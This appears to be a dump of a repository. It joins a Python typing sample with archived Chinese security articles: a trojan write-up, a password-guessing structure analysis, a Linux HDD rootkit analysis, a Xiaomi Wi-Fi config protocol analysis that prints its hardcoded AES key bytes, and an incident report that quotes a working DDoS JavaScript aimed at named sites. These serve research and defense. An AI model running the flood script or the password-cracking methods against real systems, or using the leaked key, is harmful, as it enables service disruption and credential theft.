126 | 4）在关机时重新设置注册表和文件路径 127 | 128 | # 0x02 后记 129 | 130 | * * * 131 | 132 | 锁主页是最容易变现的网络黑产之一，单机的锁主页回报较低，因此锁主页木马通常具有以下两种特征：1）传播量大，这是锁主页木马挣钱的基础；2）难以清除，锁主页木马必须长时间驻留于用户系统中方能实现持续的变现盈利。 133 | 134 | 然而随着锁主页木马的增多及安全软件的普及，锁主页木马之间的竞争也日益激烈，比如在木马中实现清除其它木马的“黑吃黑”，甚至将其它黑产开发者置于暗杀“黑名单”中，对其电脑进行毁灭性打击等。 135 | 136 | 通过对此木马的分析我们可以发现，锁主页只是木马的表面现象。任何一个木马的存在都可能对系统的安全性构成致命的威胁，很多用户觉得锁主页木马没什么危害的观念也应该改变了。如果你的主页被锁了，还是赶紧安装电脑管家查杀吧。 137 | 138 | -------------------------------------------------------------------------------- /nexus/sample_typing.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | """ 3 | sample of typing in Python3.6.4 4 | """ 5 | 6 | 7 | # sample 1 : duck type 8 | class Parrot: 9 | def fly(self): 10 | print("Parrot flying") 11 | 12 | 13 | class Airplane: 14 | def fly(self): 15 | print("Airplane flying") 16 | 17 | 18 | class Bird: 19 | def fly(self): 20 | print("Birder flying") 21 | 22 | 23 | def react_fly(entry): 24 | entry.fly() 25 | 26 | 27 | parrot = Parrot() 28 | airplane = Airplane() 29 | bird = Bird() 30 | 31 | react_fly(parrot) 32 | react_fly(airplane) 33 | react_fly(bird) 34 | 35 | 36 | # sample 2: basic usage 37 | 38 | def say_greeting(name: str) -> str: 39 | return "Hi," + name 40 | 41 | 42 | say_greeting("jian") 43 | 44 | # sample 3: Type Alias 45 | from typing import List 46 | 47 | Vector = List[float] 48 | 49 | 50 | def scale(scalar: float, vector: Vector) -> Vector: 51 | return [scalar * num for num in vector] 52 | 53 | 54 | print(scale(0.5, [1.3, 1.2, 1.2, 1.0])) 55 | 56 | # sample 3.1 Type Alias of Socket 57 | from typing import Tuple 58 | 59 | Address = Tuple[str, int] 60 | 61 | 62 | def build_simple_server(server_address: Address) -> None: 63 | # function anotations 64 | import socket 65 | socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 66 | socket.bind(server_address) 67 | while True: 68 | socket.listen() 69 | client, address = socket.accept() 70 | data = client.recv() 71 | print(str(data, encoding='utf-8')) 72 | 73 | build_simple_server(('127.0.0.1', 80)) 74 | 75 | # sample 4: Dict, Any, Tuple And List 76 | from typing import Dict, Any, Tuple, List 77 | 78 | MyDict = Dict[str, Any] 79 | MyTuple = Tuple[str, int] 80 | MyList = List[str] 81 | 82 | 83 | def show_dict(my_tuple: MyTuple, my_dict: MyDict, my_list: MyList) -> None: 84 | assert (isinstance(my_dict, dict)) 85 | assert (isinstance(my_tuple, tuple)) 86 | print(my_dict) 87 | print(my_tuple) 88 | 89 | 90 | show_dict(my_tuple=("1", 1), my_dict={'1': 1}, my_list=["1", "2"]) 91 | 92 | # sample 5: NewType 93 | 94 | from typing import NewType 95 | 96 | UserId = NewType("UserId", int) 97 | user_a = UserId(121) 98 | user_b = UserId(2112) 99 | print(user_a + user_b) 100 | 101 | # generic 102 | from typing import TypeVar, List 103 | 104 | T = TypeVar('T', int, float) 105 | 106 | 107 | def sum_from_list(li: List[T]) -> T: 108 | return sum([x for x in li]) 109 | 110 | 111 | print(sum_from_list([1.1, 2, 3, 43, 43, 4])) 112 | 113 | # sample 6: Any 114 | from typing import Any 115 | 116 | 117 | def show_any(param: Any) -> Any: 118 | return 1, param, True 119 | 120 | a, b, c = show_any(param='any_param') 121 | print("==>") 122 | print(a, b, c) 123 | 124 | # sample 7: overload 125 | from typing import overload 126 | 127 | 128 | @overload 129 | def wink(person_name: str) -> str: 130 | pass 131 | 132 | 133 | @overload 134 | def wink(wink_count: int) -> None: pass 135 | 136 | 137 | def wink(response: Any) -> Any: 138 | if isinstance(response, str): 139 | return "Person: " + response + " winking." 140 | if isinstance(response, int): 141 | print("wink count is :" + str(response)) 142 | 143 | 144 | wink(11) 145 | 146 | # sample 8: callable 147 | from typing import Callable, TypeVar 148 | from requests import Session 149 | from requests import models 150 | 151 | T = TypeVar('T', bound=models.Response) 152 | 153 | 154 | def async_request(url: str, on_success: Callable[[T], None]) -> None: 155 | response = Session().get(url=url, verify=False) 156 | if response.status_code == 200: 157 | on_success(response) 158 | 159 | 160 | async_request(url='https://www.baidu.com', on_success=lambda response: print("request_call:%s", response.text)) 161 | 162 | # sample 9: Union 163 | from typing import Union 164 | 165 | assert Union[Union[int, str], float] == Union[int, str, float] 166 | 167 | var2 = Union[int] == int 168 | print(var2) 169 | 170 | var3 = Union[str, int] == Union[int, str] 171 | print(var3) 172 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/拆分密码.md: -------------------------------------------------------------------------------- 1 | # 拆分密码 2 | 3 | [ 路人甲](/author/路人甲) · 2015/11/26 10:36 4 | 5 | # 0x00 研究范围 6 | 7 | * * * 8 | 9 | * 在WEB渗透中可能使用某个关键字为密码核心的密码(Mail,Vpn,后台登陆等) 10 | 11 | # 0x01 实际数据分析 12 | 13 | * * * 14 | 15 | * Gmail 500W明文密码 16 | * 个人以往渗透实例 17 | * 美国姓名top2000 18 | 19 | **在以往的渗透过中发现绝大多数企业的web服务是不允许注册，都是由某个人或系统分配的，而在这之中又有大部分的分配是人为分配，这就引出了我今天研究的主题《拆分密码》。** 20 | 21 | **人们在分配密码的时候是无法做到计算机那样随机的。多数都是根据某个关键字加上一些字符如企业名，时间，123等，这样的分配方式就给密码赋予了结构** 22 | 23 | # 0x02 密码结构 24 | 25 | * **前缀** 26 | * **关键字** 27 | * **连接符** 28 | * **后缀** 29 | 30 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408574676623p1.png) 31 | 32 | ### 1.)关键字 33 | 34 | 以drops.wooyun.org为例子 35 | 36 | * **URL (二级域名,跟域名)** 37 | * keyword=[drop,wooyun,wooyun.org] 38 | * **域名注册信息 (邮件,姓名,时间)** 39 | * keyword=[xssshell,fangxiaodun，20100506] 40 | * **网站内容 （标题,关键字,页脚)** 41 | * keyword=[WooYun,zhishiku,Security,exploits,hacker,0day,pentest] 42 | * **常用密码关键字** 43 | * keyword=[admin,manage,pass,姓名top500] 44 | 45 | 收集网页内容关键字小脚本，对中文站没什么效果.这里以www.megacorpone.com为例子，我也是看了这个站点的渗透测试报告才触发我写这篇文章 46 | 47 | 48 | 49 | root@Md:wget www.megacorpone.com -O 1.html 50 | root@Md:cat 1.html|tr ' ' '\n'|grep '^[0-9a-Z]*[0-9a-Z]$'|sort|uniq| 51 | 52 | 53 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408574930992p2.png) 54 | 55 | **当然也有现成工具 cewl** 56 | 57 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408575060416p3.png) 58 | 59 | ### 2.)前缀与后缀 60 | 61 | 在Gmail 500W明文密码中，我用邮件名作为关键字进行分析： 62 | 63 | * 500W密码中有11561条密码是用用户名做关键字且排除了用户名为密码和用户名重复为密码。 64 | * 11561条密码中有791条是前缀加关键字的模式 65 | 66 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408575230975p4.png) 67 | 68 | * 11561条密码中有2308条是前缀加关键字加链接符加后缀的模式 69 | 70 | ![AktText](http://static.wooyun.org//drops/20151124/2015112408575365268p5.png) 71 | 72 | * 11561条密码中有8462条是关键字加后缀的模式 73 | 74 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408575539425p6.png) 75 | 76 | 从上面的数据可以分析出，前缀加关键字加链接符加后缀的模式最少，值得我们注意的的是oliver+关键字+@+gmail.com这个模式，很经典。前缀和后缀中使用最多的1和123,前缀中值得注意的是iam，big,the，大多数前缀都使用的名词或者短语，后缀值得注意的是@gmail.com,在以往密码猜解中很多企业邮箱的默认密码就是姓名拼音加上链接符@加上域名作为后缀 77 | 78 | **那么问题就来了，为什么是它们?** 79 | 80 | 在我的研究中，我将前缀和后缀分为4个类型: 81 | 82 | * 连续性 字符连续的递增 83 | * 重复性 字符重复 84 | * 规则性 利用字符体现某种规则 85 | * 键盘规则 86 | * 寓意规则 87 | * 应付性 满足系统强制要求 88 | 89 | 单个字符前缀全部看做是 应付性，而没有意义的东西人们往往很难记忆，所以在应付性的情况下会选择规则性帮助记忆。10个数字26字母32个符号一共68个字符 90 | 91 | 92 | 93 | 1234567890 94 | qwertyuiopasdfghjklzxcvbnm 95 | 96 | 97 | * 键盘的设计是根据人体工程学设计的，最方便的键就是使用频率最高的键。玩过魔兽世界中pve无脑冰法的应该知道，【寒冰箭】基本都放数字1键，因为在抛弃字母键后，无名指按1键最方便，且连续按下123也最快捷。所以在 应付性 下满足系统要求（密码不为纯数字或纯字符）以字母做为关键字的密码，单数字前缀概率最大的为1 98 | * 寓意规则 1(最大）,6(顺的寓意）,8（发的寓意） 99 | * 键盘规则 ①中档键>右手>食指 J 100 | * 寓意规则 以名字首字母为寓意 A 101 | 102 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408575675401p7.png) 103 | 104 | 105 | 106 | ~!@#$%^&*()-_=+[{]}\|;:'",<.>/? 107 | 108 | 109 | * 键盘规则 在输出字符的时候需要按住Shift键 110 | * 左手小指按Shift键 _ 111 | * 左手大拇指按Shift键 ！ 112 | * 寓意规则 @ 像a,邮件代表符号，易记忆 113 | 114 | **多个字符我们用 连续性 重复性 规则性分析** 115 | 116 | * 连续性 连续性字符大于2位，小于等于6位 117 | * 123,abc,!@# 118 | * 重复性 重复性字符串大于1位小于等于3位 119 | * 888,qq,.. 120 | * 规则性 121 | * 键盘规则 122 | * qwe,147 123 | * 寓意规则 124 | * woshi,520,@))*，名词top100,短语top100 125 | * @））* == shift（2008） 126 | 127 | ### 3.）链接符 128 | 129 | 链接符不一定存在，弱存在只为一个单符号 130 | 131 | * @ 寓意规则 132 | * _ 应付性 133 | * & 键盘规则 134 | 135 | 前缀和后缀是有区别的，像woshi更应该做为前缀，qwe，888应该做为后缀,前缀可以为空，链接符可以为空，后缀可以为空 136 | 137 | ![AltText](http://static.wooyun.org//drops/20151124/2015112408575861272p8.png) 138 | 139 | ### 4.)组合方式 140 | 141 | * 前缀+关键字 142 | * 前缀多应付性和寓意性 143 | * 前缀+关键字+链接符+后缀 144 | * 关键字多为寓意性 145 | * 关键字+后缀 146 | * ALL 147 | * 关键字+链接符+后缀 148 | * 后缀多为键盘规则和连续性 149 | 150 | # 0x02 总结 151 | 152 | * * * 153 | 154 | **一切非随即密码都是为了方便记忆，现在爆破的核心不是弱密码，而是使用有规则密码的弱用户。人是懒惰的，为了方便记忆会将自己的记忆做为密码记忆。** 155 | 156 | 注①：《电脑键盘字母的优化排列》 这篇文章仅仅是我写社工字典程序的理论框架，如果有与科学理论违背的地方，以科学理论为主 157 | 158 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Linux系统下的HDD Rootkit分析 .md: -------------------------------------------------------------------------------- 1 | # Linux系统下的HDD Rootkit分析 2 | 3 | [ 腾讯电脑管家](/author/腾讯电脑管家) · 2015/10/22 11:12 4 | 5 | # 0x01 概况 6 | 7 | * * * 8 | 9 | 前段时间，卡巴斯基捕获到Winnti网络犯罪组织在Windows下进行APT攻击的通用工具——HDDRootkit。近期，腾讯反病毒实验室在Linux系统下也捕获到同类工具。Winnti组织利用HDDRootkit在Windows和Linux系统下进行持续而隐蔽的APT攻击。经分析发现，HDD Rootkit先是篡改系统的引导区，然后在进入Linux系统前利用自带的Ext文件系统解析模块，将隐藏在硬盘深处的后门文件解密出来后加入到开机启动脚本或系统服务里。目前受攻击的系统有Centos和Ubuntu。 10 | 11 | ![](http://static.wooyun.org//drops/20151020/2015102014030358723190.png) 12 | 13 | (图1：HDD Rootkit在Linux下的攻击流程) 14 | 15 | # 0x02 HDD Rootkit在 Linux下的详细分析 16 | 17 | * * * 18 | 19 | ## 1、过程展示 20 | 21 | 分析HDD Rootkit： 22 | 23 | ![](http://static.wooyun.org//drops/20151020/2015102014033163916246.png) 24 | 25 | （图2：分析HDD Rootkit得到的参数提示） 26 | 27 | 运行HDD Rootkit： 28 | 29 | ![](http://static.wooyun.org//drops/20151020/201510201403343634737.jpg) 30 | 31 | (图3：运行HDD Rootkit工具) 32 | 33 | 通过图3，能看出HDD Rootkit平台已经把RKimage和Backdoor解密并写入扇区里面，而且计算了他们的Crc16值(这部分后面有更详细的分析）。接下来我们看看mbr的变化：一是第一扇区已经被改写(如图4)；二是开机瞬间显示出HDDRootkit的调试信息（如图5）。当系统中毒以后,第1扇区存放病毒的MBR，第25扇区存放BootCode，第26与第27扇区存放加密后的原始MBR。 34 | 35 | ![](http://static.wooyun.org//drops/20151020/2015102014033644646421.png) 36 | 37 | （图4： 左边是被修改的mbr，右边是原始的mbr） 38 | 39 | ![](http://static.wooyun.org//drops/20151020/2015102014033894759517.png) 40 | 41 | （图5：开机时RKimage的输出信息，注意：debug版本才有信息输出） 42 | 43 | ## 2、安装阶段详细分析 44 | 45 | ### (1) 运行安装方式与参数： 46 | 47 | ![](http://static.wooyun.org//drops/20151020/2015102014033943850615.png) 48 | 49 | （图6：hdroot_32_bin安装方式） 50 | 51 | 在Linux下运行HDD Rootkit 如 `./root_32_bin inst ./createfile1`。其中第一个参数是安装类型，第二个参数是后门文件，第三个参数是启动类型(共三种开机启动方式)。 52 | 53 | ### (2) HDD Rootkit的文件存储和隐藏： 54 | 55 | HDD Rootkit早期的版本是把MBR、BootCode、RKimage等放在程序资源里面，在Linux系统下则是把这些文件加密存储在安装器里面。以下分析HDDRootkit如何将加密好的MBR、Boot Code、RKimage解密出来，又重新加密写入到第一个扇区和空闲的扇区里面。 56 | 57 | ![](http://static.wooyun.org//drops/20151020/2015102014034150449717.png) 58 | 59 | (图7：左边是加密的结构体，右边是解密过程) 60 | 61 | HDD Rootkit将Rkimage 和Backdoor再次加密后写入扇区，将后门文件藏得更深。 62 | 63 | ![](http://static.wooyun.org//drops/20151020/2015102014034383963819.png) 64 | 65 | (图8：将RKimage和Backdoor文件写入扇区) 66 | 67 | 获取引导盘，准备写入MBR和Bootcode，步骤如图9和图10所示。 68 | 69 | ![](http://static.wooyun.org//drops/20151020/2015102014035026976917.png) 70 | 71 | (图9：步骤一) 72 | 73 | ![](http://static.wooyun.org//drops/20151020/20151020140351701011015.png) 74 | 75 | (图10：步骤二) 76 | 77 | ### (3) RKimage 功能分析 78 | 79 | RKimage是HDD Rootkit下释放的子工具。RKimage不依赖于操作系统，直接解析文件系统，能根据不同的安装情况，把后门加入开机启动。 80 | 81 | RKimage模块： 82 | 83 | 1. 由Bootcode拉起，将实模式切换到保护模式； 84 | 2. 实现Ext文件系统解析与读写功能； 85 | 3. 把隐藏在扇区的后门写成文件，根据不同的情况增加开机启动项。 86 | 87 | ![](http://static.wooyun.org//drops/20151020/20151020140353842361118.png) 88 | 89 | (图11：RKimage的文件系统解析模块的字符串提示) 90 | 91 | 第一种开机启动方式： 92 | 93 | ![](http://static.wooyun.org//drops/20151020/20151020140355572181216.png) 94 | 95 | (图12：`/etc/rc*.d/S7*cdiskmon` 类型) 96 | 97 | 第二种开机启动方式： 98 | 99 | ![](http://static.wooyun.org//drops/20151020/20151020140356886361313.png) 100 | 101 | (图13：`/etc/rc.d/rc.local`类型) 102 | 103 | 第三种开机启动方式： 104 | 105 | ![](http://static.wooyun.org//drops/20151020/20151020140358219861413.png) 106 | 107 | (图14：SYSTEMD类型) 108 | 109 | ### (4) 后门文件 110 | 111 | 由于获取的程序样本有限，在分析过程中并没有获取真正有效的Backdoor文件，所以整个攻击的完整流程和木马如何把信息向外通信并未分析到。因此，自主构造了一个写文件的可执行程序。 112 | 113 | ## 3、 调试 HDD Rootkit的MBR、Bootcode、RKImage关键节点 114 | 115 | ![](http://static.wooyun.org//drops/20151020/20151020140359470001513.png) 116 | 117 | (图15：中毒后的第一扇区) 118 | 119 | ![](http://static.wooyun.org//drops/20151020/20151020140400947051612.png) 120 | 121 | (图16：HDD加载Bootcode) 122 | 123 | ![](http://static.wooyun.org//drops/20151020/20151020140404834181711.png) 124 | 125 | (图17：从Bootcode进入到RKimage模块) 126 | 127 | ![](http://static.wooyun.org//drops/20151020/20151020140408158391811.png) 128 | 129 | (图18：RKimage模块加载GDTR) 130 | 131 | ![](http://static.wooyun.org//drops/20151020/2015102014041058454199.png) 132 | 133 | (图19：RKimage模块里面准备切换到保护模式) 134 | 135 | ![](http://static.wooyun.org//drops/20151020/20151020140415804232010.png) 136 | 137 | (图20：RKimage模块准备执行功能) 138 | 139 | ![](http://static.wooyun.org//drops/20151020/2015102014042243743211.jpg) 140 | 141 | (图21：RKimage模块输出功能代码的调息信息) 142 | 143 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/智能设备Wi-Fi快速配置类协议安全.md: -------------------------------------------------------------------------------- 1 | # 智能设备Wi-Fi快速配置类协议安全 2 | 3 | [ 唐朝实验室](/author/唐朝实验室) · 2015/11/13 11:06 4 | 5 | # 0x00前言 6 | 7 | * * * 8 | 9 | 目前市面上有不少缺乏输入装置但需要连接云端的智能设备，这些设备在加入Wi-Fi前需要得到相关的认证信息，为了便于用户使用，厂商通常在配套的移动端应用中通过类似下方的界面引导用户将Wi-Fi认证信息传输给智能设备。 10 | 11 | ![](http://static.wooyun.org//drops/20151110/2015111015062079716117.png) 12 | 13 | 但在仅借助于已经加密的Wi-Fi通道的条件下，处在Wi-Fi网络内的移动应用端和在网络之外的智能设备间是如何传递这些信息的？各个厂商通过此类快速配置协议绕过这个相悖问题的同时，是否存在协议实现上的安全问题？ 14 | 15 | # 0x01 风险评估 16 | 17 | * * * 18 | 19 | 设想一个场景：某房主和相识的人之间约定将钥匙放在某个地点，但是这一过程被三方知晓并随便复制了钥匙。如果应用和设备之间的传输是三方可以获取并看到明文内容的，那么就面临Wi-Fi认证信息泄露的风险。完整的加密过程需要包含有效的密钥交换，如果所用的密钥为固定或可预测，则算法本身不能保护数据的私密性，所以风险评估需要了解快速配置协议的具体实现。此外这类问题由于借助Wi-Fi路由器传递信息，受影响的攻击范围限定在能够接受Wi-Fi信号的范围内(写字楼或者住宅区)，而时间点定于等待进行配置的过程。 20 | 21 | # 0x02 背景IEEE 802.2/802.11 22 | 23 | * * * 24 | 25 | 要了解快速配置协议的工作原理，首先需要了解一些相关底层协议IEEE 802.2 与IEEE802.11的简要信息，这两种标准对应在OSI网络模型层级关系如下： 26 | 27 | ![](http://static.wooyun.org//drops/20151110/2015111015062255685218.png) 28 | 29 | 802.11协议簇是IEEE为无线局域网络制定的标准。802.11之上以802.2的逻辑链路控制(LLC)封装来携带IP封包。当设备开启Wi-Fi芯片的混杂模式监听无线信号，并以802.2 SNAP格式从数据链路层截取数据时，就会得到如下图所示的数据包： 30 | 31 | ![](http://static.wooyun.org//drops/20151110/2015111015062673479316.png) 32 | 33 | 802.2 SNAP 格式数据包 34 | 35 | 红色部分为Data Link结构，其中DA是目标MAC地址，SA是源MAC地址，Length为包长度。蓝色部分就是802.2LLC的结构内容，之后跟着SNAP字段，DATA为加密后的IP封包内容，FCS为校验字段。除DATA字段为加密后的数据，其他字段为明文可见，快速配置协议可以通过这些明文可见的字段传输Wi-Fi认证信息。但是现在有一个问题：出于安全的考虑，在IOS和安卓上运行的普通移动端应用并没有权限去直接控制802.2 SNAP包头当中的数据。 36 | 37 | # 0x03 数据载体方式一：包长度 38 | 39 | * * * 40 | 41 | 既然不能直接控制底层包头中的内容，开发人员便想到可以通过发送不同长度的数据包，使包的长度本身作为一种信息载体（限于MTU的大小，每次传送~8Bit的数据），之后再将各个包长度携带信息重新组合成各家快速配置协议中定义的数据结构。从德州仪器的TiCC3000芯片支持的第一种快速配置协议SmartConfig开始，到近期腾讯推广的AirKiss协议来看，多是通过此种方法。可以在网上找到这些协议的详细分析或官方文档，例如SmartConfig协议： 42 | 43 | 44 | 45 | 这里就不再详细描述以长度为载体的协议实现方式了。 46 | 47 | # 0x04 数据载体方式二：目标MAC地址 48 | 49 | * * * 50 | 51 | 通过长度本身作为数据载体是个非常不错的思路，是否有其他的方式？在测试中尝试了小米智能摄像头，抓取到配置过程中的网络报文如下： 52 | 53 | ![](http://static.wooyun.org//drops/20151110/2015111015062731626415.png) 54 | 55 | 发现从开始到配置成功，之间每个报文的长度都是4字节，并且内容固定为miio。 56 | 57 | ![](http://static.wooyun.org//drops/20151110/201511101506298819159.png) 58 | 59 | 看来不是以长度为载体传递信息。细看这些发送的报文，似乎另有玄机。 60 | 61 | ## 0x04.1IP-MAC转换与组播 62 | 63 | 如之前提到，普通应用因为权限原因无法直接控制底层包头中的数据，那能否有迂回的方式能够更改其中DA的值(目标MAC地址)？一般情况下，上层应用在使用类似Socket编程时填入目标IP进行网络通信，之后操作系统会查询维护的路由表和ARP表，并确定底层网络包中需要填入的MAC地址。如果是同局域网目标将直接填入查询到的MAC地址，如果需要路由转发的则填入路由的MAC地址。要将DA(MAC地址)作为信息传递的载体就需要确定某种形式的IP-MAC的映射，但ARP表的变更也同样需要权限。是否还存在某种可行的方式进行IP-MAC间的映射？ 64 | 65 | 单播(Unicast)，组播(Multicast)和广播(Broadcast)是IP网络传输的三种模式。其中组播在发送者和每一接收者之间实现单点对多点网络连接，该模式的出发点是节约网络传输带宽。组播有一个重要的特性就是IP地址和MAC地址是存在固定映射关系的： 66 | 67 | ![](http://static.wooyun.org//drops/20151110/201511101506319798766.png) 68 | 69 | 从上面的图我们可以看到组播模式下IP-MAC之间可以完成23bits的数据映射。举一个简单的例子：如果应用向IP地址224.126.0.1发包，那么系统会自动将对应的MAC地址01:00:5e:7e:00:01填入底层包头结构中。 70 | 71 | ## 0x04.2 小米快速配置协议传输 72 | 73 | 回到截取到的在配置Wi-Fi认证给摄像头过程中的数据包，可以看到移动设备所发送网络报文的目标IP地址都是224.126开头的。其中IP-MAC的映射只使用了后16bit的内容，以224.126.X.Y为例，X字节被用作编号，而Y字节则是加载的数据。 74 | 75 | 使用底层包头DA字段(MAC地址)作为数据载体，并通过组播定义的IP-MAC地址映射实现应用层的数据控制就是小米系智能设备所使用快连协议的实现基础，这种实现方式相当的简洁清晰。 76 | 77 | ## 0x04.3 小米快速配置协议加密方式 78 | 79 | 小米所采用的协议和其他快速配置协议一样，没有直接明文传输认证信息。要解出明文传递的Wi-Fi认证信息，就需要逆向应用得到具体的加密方式。这里给出在完成逆向后得到的数据加密方式（简略版）： 80 | 81 | 1. 将SSID，Wi-Fi密码，MAC地址和无线网络加密类型四个数据变形聚合(MiioLocalAPI) 82 | 2. 通过System. currentTimeMillis()获取当前时间作为seed值，和上一步获取的聚合数据一起作为两个参数传入libmiio.so下的smencrypt函数 83 | 3. 在smencrypt函数中，用seed值对一个固定16字节长的magic数组做一个字节的变形，之后连同聚合数据一同传入AES_cbc_encrypt函数进行AES128加密。AES算法所使用的Key和IV都来源于这个magic数组： 84 | 85 | Key = MD5_hash(magic_data, 16) 86 | IV = MD5_hash(Key + magic_data, 32) 87 | 88 | 89 | magic_data的内容为： 90 | 91 | 92 | 0x20, 0x59, 0x5C, 0xD3, 0x24, 0x10, 0x5D, 0x54, 93 | 0x14, 0xC6, 0xD4, 0xE3, 0xC8, 0x80, 0xC6, 0xF0 94 | 95 | 96 | 这样就得到了加密后的数据，解密需要反向操作。由此可以看到，在密钥和时间已知的情况下，如果使用默认的传输方式，三方可以获取明文的Wi-Fi认证信息。 97 | 98 | # 0x05 应对 99 | 100 | * * * 101 | 102 | 对于此类快速配置协议，在密钥的选择上最好做到每个设备有不同的密钥。交换密钥的方式可以是将密钥以二维码的方式粘贴在设备上(设备内已保存有一份)，配置时用移动端应用去扫描获取，完成密钥交换。或者直接使用范围更小的通信方式交换Wi-Fi认证信息。 103 | 104 | # 0xFF 版权 105 | 106 | * * * 107 | 108 | 本文独家首发于乌云知识库(drops.wooyun.org)。本文并没有对任何单位和个人授权转载。如本文被转载，一定是属于未经授权转载，属于严重的侵犯知识产权，本单位将追究法律责任。 109 | 110 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/从异常挖掘到CC攻击地下黑客团伙.md: -------------------------------------------------------------------------------- 1 | # 从异常挖掘到CC攻击地下黑客团伙 2 | 3 | [ 百度安全攻防实验室](/author/百度安全攻防实验室) · 2015/11/25 0:31 4 | 5 | Author: 百度云安全天网团队 百度安全攻防实验室 百度云安全云端防护团队 6 | 7 | # 0x00 异常挖掘与回溯 8 | 9 | * * * 10 | 11 | 11月13日，百度云安全天网系统，通过数十TB的日志挖掘，发现了安全宝某重点客户网站上的异常行为。之后我们的分析人员跟进，发现这是一起针对安全宝某重点客户的持续攻击。最终在客户系统上放置了Web后门。 12 | 13 | 该Web后门的通信如下： 14 | 15 | 16 | 17 | POST /uc_server/data/logs/20140708.php?v=1a HTTP/1.1 18 | Host: bbs.xxxxx.com 19 | Referer: http://bbs.xxxxx.com/uc_server/data/logs/20140708.php?v=1a 20 | User-Agent: Sogou 21 | Content-Length: 60 22 | 23 | 24 | 从通信流量上看，并未触发任何报警。同时，客户的日志里也并未保存http response的数据。 25 | 26 | 天网系统中的谛听模块通过对网站的访问行为进行建模，通过每个被防护的网站日志训练出这个网站特有的访问模型。包括网站参数的模型，网站访问路径的模型，网站访问session的模型。黑客这次的访问行为触发了网站访问路径模型的异常。该模型中通过每个路径访问的频度广度和路径之间的访问关系等feature，训练出针对每个网站特定的路径视图。 27 | 28 | 我们在系统中对该客户的所有历史日志进行了回溯，发现该黑客在9月24日就已经对该客户展开了尝试性的攻击。 29 | 30 | 通过进一步的分析，我们发现，该攻击者修改了Discuz系统的class_core.php。在该class_core.php中添加的代码如下： 31 | 32 | ![](http://static.wooyun.org//drops/20151124/2015112412000698099p12.jpg) 33 | 34 | 从该代码中，我们可以做出以下结论： 35 | 36 | 1. 这次攻击不是小范围的针对单个站点的攻击，而是攻击了多个站点 37 | 2. 该代码中并未指定特定的CC攻击的目标，而是通过Location统一跳转到，由该url指定最终的攻击目标。 38 | 39 | # 0x01 影响确认和攻击代码 40 | 41 | * * * 42 | 43 | 我们从CC的攻击代码中提取了以下特征fuwuqibeiheikeruqin，在现有的网页情报库中搜索，发现以下的链接地址： 44 | 45 | [http://www.eoeandroid.com/forum.php?wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan](http://www.eoeandroid.com/forum.php?wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan) 46 | 47 | 判断eoeandroid也被这样攻击过。 48 | 49 | 11月20日，请求被重定向到，11月20日发现eoeandroid已经503了。该攻击手法被进一步确认。 50 | 51 | 我们又对该代码中提及到的`php100.com`,`www.dm123.cn`和`12edu.com`进行访问。发现如下： 52 | 53 | 以dm123.cn为例： 54 | 55 | ![](http://static.wooyun.org//drops/20151124/2015112412074045322p21.jpg) 56 | 57 | 显然该网站被利用来做CC攻击。 58 | 59 | 同时我们针对以上网站挂CC攻击的js进行了分析，发现有三种: 60 | 61 | 1. dm123.cn中，直接在dm123网站上挂js，脚本路径如下: 62 | 63 | 64 | 2. php100.com中，托管在SAE上的攻击脚本，脚本路径如下: 65 | 66 | 67 | 3. 12edu.com中，通过api接口动态获得要攻击的网站，更加难以定位: 68 | [http://www.12edu.com/api.php?op=count&id=34380&modelid=1](http://www.12edu.com/api.php?op=count&id=34380&modelid=1) 69 | 70 | 以上三种方式，从扫描器检测的角度来看，复杂度逐渐增大。第一种情况下，是直接检测本域下的js。第二种则需要检测外链js，检测量大大增大了。而第三种则是在已有的js里面没有攻击代码。攻击的代码是通过api接口动态获得的。 71 | 72 | **攻击用的js代码如下：** 73 | 74 | 75 | #!js 76 | function imgflyygffgdsddfgd() { 77 | var TARGET = 'www.hanyouwang.com' 78 | var URI = '/index.php?wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&' 79 | var pic = new Image() 80 | var rand = Math.floor(Math.random() * 1000) 81 | pic.src = 'http://'+TARGET+URI+rand+'=val' 82 | } 83 | setInterval(imgflyygffgdsddfgd, 0.1) 84 | function imgflyygffhghddfgd() { 85 | var TARGET = 'www.weshequ.com' 86 | var URI = '/Search/v-wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&' 87 | var pic = new Image() 88 | var rand = Math.floor(Math.random() * 1000) 89 | pic.src = 'http://'+TARGET+URI+rand+'=val' 90 | } 91 | setInterval(imgflyygffhghddfgd, 0.1) 92 | 93 | 94 | **被攻击域名**包括重要政府网站和国家级新闻媒体 95 | 96 | # 0x02 身份确认 97 | 98 | * * * 99 | 100 | 通过域名的相似度，我们在现有的网页情报库中发现了如下域名： 101 | 102 | * 博客： 103 | * 论坛： 104 | 105 | 在163博客上可以看到，该团队名 ddos Js团队，QQ 1551227222 106 | 107 | 在网页情报库中查找该QQ，可以发现 108 | 109 | 看来除了卖ddos的服务，还在卖手机监听软件的服务 110 | 111 | 对该域名的whois进行查询，如下： 112 | 113 | ![](http://static.wooyun.org//drops/20151124/2015112411580894934p3.jpg) 114 | 115 | 从我们发现该攻击到发稿前，该黑客做了如下的事情: 116 | 117 | 1. 修改了的指向 118 | 2. Php100.com已经不再受影响 119 | 120 | # 0x03 后续 121 | 122 | * * * 123 | 124 | 我们有理由相信，这是一个在不断进化的地下黑客团体。通过更加隐蔽的手法进行CC攻击挂马。该问题的影响范围目前我们还在进一步确认。欢迎业内同仁继续跟进分析。 125 | 126 | 如果你想查看自己的网站是否受影响，有两个步骤： 127 | 128 | 1. 打开网站，随机访问几个页面，查看下面是否会发起连续的对其他网站的请求 129 | 2. 查看是否会发起请求： 130 | 131 | 我们从该攻击中提取了以下信息作为攻击情报或者IOC： 132 | 133 | 134 | 135 